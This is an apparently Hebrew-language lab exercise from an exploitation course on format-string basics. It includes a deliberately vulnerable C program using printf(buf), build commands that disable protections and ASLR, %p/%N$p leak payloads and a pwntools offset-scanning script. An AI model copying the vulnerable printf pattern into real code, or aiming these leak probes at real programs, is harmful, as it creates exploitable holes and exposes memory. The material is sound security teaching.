לדלג לתוכן

5.1 יסודות format string תרגול

תרגול - יסודות format string והleak של המחסנית

בתרגול הזה תבנו בעצמכם בינארי vulnerable למחרוזת format, תדליפו ממנו את תוכן המחסנית, ותמצאו את הנתון החשוב ביותר לכל שאר הפרק: ההיסט הממוקם שבו יושב הקלט שלכם. אל תדלגו לפתרון לפני שהמספר הזה יצא לכם ביד - כל השיעורים הבאים (קריאה שרירותית, כתיבה עם %n, דריסת GOT) מניחים שאתם יודעים למצוא אותו לבד.

הכינו את סביבת העבודה. שמרו את הקוד הבא כ-fmt.c:

// fmt.c - a dummy binary vulnerable to a format string
#include <stdio.h>

int main(void) {
    char buf[128];
    printf("input> ");
    fflush(stdout);
    fgets(buf, sizeof(buf), stdin);
    printf(buf);          // the vulnerability
    return 0;
}

הדרו בלי הגנות שיפריעו ללימוד, וכבו זמנית ASLR כדי שהכתובות יהיו יציבות:

gcc -fno-stack-protector -no-pie -O0 -o fmt fmt.c
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space   # for learning purposes only
checksec --file=./fmt

תרגיל 1 - leak ראשונה עם p

הריצו את הבינארי והזינו רצף של שמונה %p:

python3 -c "print('%p.'*8)" | ./fmt
  • המשימה: זהו אילו מהערכים שהודפסו מגיעים מאוגרים ואילו מהמחסנית.
  • רמז 1: במערכת 64 ביט, כמה מההמרות הראשונות נשלפות מאוגרים לפני ש-printf נוגעת במחסנית בכלל? חזרו לטבלה בהרצאה.
  • רמז 2: ערכי האוגרים לרוב נראים כמו זבל או אפסים, בעוד שערכי המחסנית כוללים כתובות שמתחילות ב-0x7fff... (מחסנית) או 0x7f... (libc).
  • רמז 3: נסו להחליף %p ב-%x ולראות את ההבדל. למה כל %x מראה רק חצי מסלוט?

רשמו לעצמכם: כמה ההמרות הראשונות מגיעות מאוגרים בבנייה שלכם?


תרגיל 2 - מציאת ההיסט של הbuffer

זו ליבת התרגול. שלחו סמן ייחודי באורך 8 בתים ואחריו רצף %p, ומצאו באיזה מיקום הסמן צץ:

python3 -c "print('AAAAAAAA' + '.%p'*12)" | ./fmt
  • המשימה: מצאו את המספר הממוקם N כך ש-%N$p מדפיס בדיוק 0x4141414141414141. זה ההיסט של הbuffer שלכם.
  • רמז 1: AAAAAAAA בזיכרון little-endian הוא הערך 0x4141414141414141. חפשו אותו ברצף.
  • רמז 2: אחרי שספרתם את המיקום, אשרו אותו בקריאה ממוקמת בודדת. אם ספרתם 6, הריצו python3 -c "print('%6\$p')" | ./fmt וודאו שמתקבל 0x4141414141414141.
  • רמז 3: אם הסמן לא מופיע נקי אלא "חתוך", ייתכן שהbuffer לא aligned ל-8. ודאו שהסמן הוא בדיוק 8 בתים ושהוא בתחילת הקלט.

כתבו סקריפט pwntools שסורק היסטים אוטומטית ועוצר כשמצא את הסמן. מבנה מוצע:

from pwn import *
context.log_level = 'error'
for i in range(1, 15):
    p = process('./fmt')
    p.recvuntil(b'input> ')
    p.sendline(b'AAAAAAAA|' + f'%{i}$p'.encode())
    out = p.recvline()
    p.close()
    # complete: print i and out, and stop when 0x4141414141414141 appears

תרגיל 3 - דריסה בין p ל-s

עכשיו נבדיל בין קריאת ערך לבין dereference של מצביע.

  • המשימה א: השתמשו בהיסט שמצאתם והריצו %N$s עליו (כשהbuffer מכיל את הסמן AAAAAAAA). מה קורה, ולמה?
  • המשימה ב: מצאו סלוט על המחסנית שכן מכיל מצביע חוקי (למשל אחד מהערכים שהתחילו ב-0x7fff...), והריצו עליו %s. מה מודפס?
  • רמז 1: %s מתייחסת לסלוט כאל כתובת וקוראת ממנה. אם הסלוט מכיל 0x4141414141414141, לאן printf תנסה לגשת?
  • רמז 2: קריסה כאן היא לא כישלון - היא הוכחה שאתם שולטים בערך שההמרה מפרשת כמצביע. חשבו: מה זה אומר לגבי היכולת שלנו בשיעור הבא לקרוא מכתובת שאנחנו בוחרים?

תרגיל 4 - השוואת 32 ביט מול 64 ביט

הדרו את אותו קוד גם ל-32 ביט וחזרו על תרגיל 2:

gcc -m32 -fno-stack-protector -no-pie -O0 -o fmt32 fmt.c   # you may need gcc-multilib
python3 -c "print('AAAA' + '.%p'*12)" | ./fmt32
  • המשימה: מצאו את ההיסט ב-32 ביט והשוו למספר שקיבלתם ב-64 ביט.
  • רמז 1: ב-32 ביט הסמן הוא 4 בתים (AAAA = 0x41414141), כי סלוט הוא 4 בתים.
  • רמז 2: ב-32 ביט אין שלב אוגרים - הכל על המחסנית לפי cdecl. צפו להיסט קטן בהרבה מאשר ב-64 ביט. למה?

שאלות להעמקה

  • למה printf("%s", buf) פותר את החולשה לגמרי, בעוד printf(buf) vulnerable? מה בדיוק הועבר ל-printf בכל מקרה?
  • הleak של format עוקפת canary ו-NX אבל לא נחסמת על ידם. הסבירו מדוע הmitigations האלה כלל לא נכנסים לתמונה כאן.
  • אם המטרה שלכם היא לעקוף ASLR, איזה סוג ערך תעדיפו לחפש בleak - כתובת מחסנית, כתובת libc, או כתובת קוד? במה כל אחת שימושית?
  • מדוע חשוב שהסמן יהיה aligned ל-8 בתים דווקא ב-64 ביט? מה משתבש עם סמן של 5 או 7 בתים?